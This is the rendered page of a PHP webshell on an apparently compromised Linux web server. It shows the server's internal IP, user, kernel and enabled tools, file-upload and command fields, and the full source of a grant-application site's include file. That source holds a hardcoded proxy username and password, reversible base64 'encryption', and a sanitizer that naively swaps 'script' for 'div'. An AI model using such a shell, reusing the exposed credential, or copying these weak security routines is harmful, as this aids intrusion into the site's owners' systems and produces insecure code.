403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/fundingapplications.com/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/fundingapplications.com/inc/functions.includes.php
<?

/**
Cyptify a string by incrementing all ascii letters then base64 encoding it
*/
function PlusChar($input) {
	return chr(ord($input)+1);
}
function MinusChar($input) {
	return chr(ord($input)-1);
}
function Cryptify($input) {
	return base64_encode(implode('',array_map('PlusChar',str_split($input)))); 
} 

function UnCryptify($input) { 
	if(is_array($input)) {
		return implode('|',$input);
	} else {
		return implode('',array_map('MinusChar',str_split(base64_decode($input)))); 
	}
}

/**
Cleans bad string data
Works for multi-deminsional arrays of strings or just a single string value
*/
function sanitize($input) {
    if (is_array($input)) {
        foreach($input as $var=>$val) {
            $output[$var] = sanitize($val);
        }
    }
    else {
       /* if (get_magic_quotes_gpc()) {
            $input = stripslashes($input);
        }
		*/
        $output = cleanInput($input);
    }
    return $output;
}

/**
Remove malicious code from input
*/
function cleanInput($input) {
	$output = str_replace('script','div',$input);
	$output = strip_tags($output);
	$output = htmlspecialchars($output);
	$output = addslashes($output);
	$output = str_replace('.js','js',$output);
    return $output;
}


/**
Validate an email address.
Provide email address (raw input)
Returns true if the email address has the email 
address format and the domain exists.

validEmail taken from http://www.linuxjournal.com/article/9585
*/
function validEmail($email) {
   $isValid = true;
   $atIndex = strrpos($email, "@");
   if (is_bool($atIndex) && !$atIndex) {
      $isValid = false;
   } 
   else {
      $domain = substr($email, $atIndex+1);
      $local = substr($email, 0, $atIndex);
      $localLen = strlen($local);
      $domainLen = strlen($domain);
      if ($localLen < 1 || $localLen > 64) {
         // local part length exceeded
         $isValid = false;
      }
      else if ($domainLen < 1 || $domainLen > 255) {
         // domain part length exceeded
         $isValid = false;
      }
      else if ($local[0] == '.' || $local[$localLen-1] == '.') {
         // local part starts or ends with '.'
         $isValid = false;
      }
      else if (preg_match('/\\.\\./', $local)) {
         // local part has two consecutive dots
         $isValid = false;
      }
      else if (!preg_match('/^[A-Za-z0-9\\-\\.]+$/', $domain)) {
         // character not valid in domain part
         $isValid = false;
      }
      else if (preg_match('/\\.\\./', $domain)) {
         // domain part has two consecutive dots
         $isValid = false;
      }
      else if (!preg_match('/^(\\\\.|[A-Za-z0-9!#%&`_=\\/$\'*+?^{}|~.-])+$/', str_replace("\\\\","",$local))) {
         // character not valid in local part unless 
         // local part is quoted
         if (!preg_match('/^"(\\\\"|[^"])+"$/', str_replace("\\\\","",$local))) {
            $isValid = false;
         }
      }
      if ($isValid && !(checkdnsrr($domain,"MX") || checkdnsrr($domain,"A"))) {
         // domain not found in DNS
         $isValid = false;
      }
   }
   return $isValid;
}

/* Seed the random number generator */
function make_seed()
{
  list($usec, $sec) = explode(' ', microtime());
  return (float) $sec + ((float) $usec * 100000);
}

/*
 * Make an http page request using cURL  
 */
if(!function_exists('getPage')) {
function getPage($url,$method,$post,$referer,$cookie_jar,$proxy){
	$ch = curl_init();
	if($proxy){
		curl_setopt($ch, CURLOPT_PROXY, $proxy);
		curl_setopt($ch, CURLOPT_PROXYUSERPWD, "Trollio:31003");
    }
  	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
  	curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
  	curl_setopt($ch, CURLOPT_REFERER, $referer);
  	curl_setopt($ch, CURLOPT_URL, $url);
	
  	if($method == "post"){
  		curl_setopt($ch, CURLOPT_POST, 1);
  		curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  	}
  	curl_setopt($ch, CURLOPT_USERAGENT, $HTTP_USER_AGENT);
  	
	ob_start();   // prevent any output
  	$data = curl_exec ($ch);  // execute the curl command
  	ob_end_clean(); // stop preventing output
	curl_close ($ch);
	if(empty($data)) {
		if(!empty($post)) {
			$url .= (strpos($url,'?')!==false) ? '' : '?';
			$first = true;
			foreach($post as $k=>$v) {
				$url .= (strpos($url,'&')!==false || !$first) ? '&'.urlencode($k).'='.urlencode($v) : urlencode($k).'='.urlencode($v);
				$first = false;
			}
		}
		$data = file_get_contents($url);
	}
	return trim($data);
}
}

/**
 * Get Grant Categories
 */
function get_categories() {
	$cat_json = ''; 
	$file = $_SERVER['DOCUMENT_ROOT'].'/app_cache/categories'; 
	if(!$cat_json =@ file_get_contents($file)) {
		$cat_json = file_get_contents('https://surfcrm.com/lcapi/GetProfileCategories.php'); 
		file_put_contents($file, $cat_json); 
	}
	
	$categories = json_decode($cat_json, $assoc = true);
	
	/*if(!isset($categories['expires']) || $categories['expires'] < time()) {
		unlink($file); 
		$categories = get_categories(); 
	}*/
	
	return $categories;   
}

/**
 * Get Education Questions
*/
function get_education_questions() {
	$cat_json = '';
	$file = $_SERVER['DOCUMENT_ROOT'].'/app_cache/education_questions';
	if(!$cat_json =@ file_get_contents($file)) {
		$cat_json = file_get_contents('https://surfcrm.com/lcapi/GetEducationQuestions.php');
		file_put_contents($file, $cat_json);
	}
	$education = json_decode($cat_json, $assoc = true);
	
	/*if(!isset($education['expires']) || $education['expires'] < time()) {
		unlink($file);
		$education = get_education_questions();
	}*/
	
	return $education;
}

/**
 * Get Disability Questions
 */
function get_disability_questions() {
	$cat_json = '';
	$file = $_SERVER['DOCUMENT_ROOT'].'/app_cache/disability_questions';
	if(!$cat_json =@ file_get_contents($file)) {
		$cat_json = file_get_contents('https://surfcrm.com/lcapi/GetDisabilityQuestions_.php');
		file_put_contents($file, $cat_json);
	}
	$disability = json_decode($cat_json, $assoc = true);
	
	/*if(!isset($disability['expires']) || $disability['expires'] < time()) {
		unlink($file);
		$disability = get_disability_questions();
	}*/
	
	return $disability;
}

function get_disability_questions_() {
	$cat_json = '';
	$file = $_SERVER['DOCUMENT_ROOT'].'/app_cache/disability_questions_';
	if(!$cat_json =@ file_get_contents($file)) {
		$cat_json = file_get_contents('https://surfcrm.com/lcapi/GetDisabilityQuestions__.php');
		file_put_contents($file, $cat_json);
	}
	$disability = json_decode($cat_json, $assoc = true);
	
	/*if(!isset($disability['expires']) || $disability['expires'] < time()) {
		unlink($file);
		$disability = get_disability_questions();
	}*/
	
	return $disability;
}

/**
 * Get Business Questions
 */
function get_business_questions() {
	$cat_json = '';
	$file = $_SERVER['DOCUMENT_ROOT'].'/app_cache/business_questions';
	if(!$cat_json =@ file_get_contents($file)) {
		$cat_json = file_get_contents('https://surfcrm.com/lcapi/GetBusinessQuestions.php');
		file_put_contents($file, $cat_json);
	}
	$business = json_decode($cat_json, $assoc = true);
	
	if(!isset($business['expires']) || $business['expires'] < time()) {
		unlink($file);
	}
	
	return $business;
}

Youez - 2016 - github.com/yon3zu
LinuXploit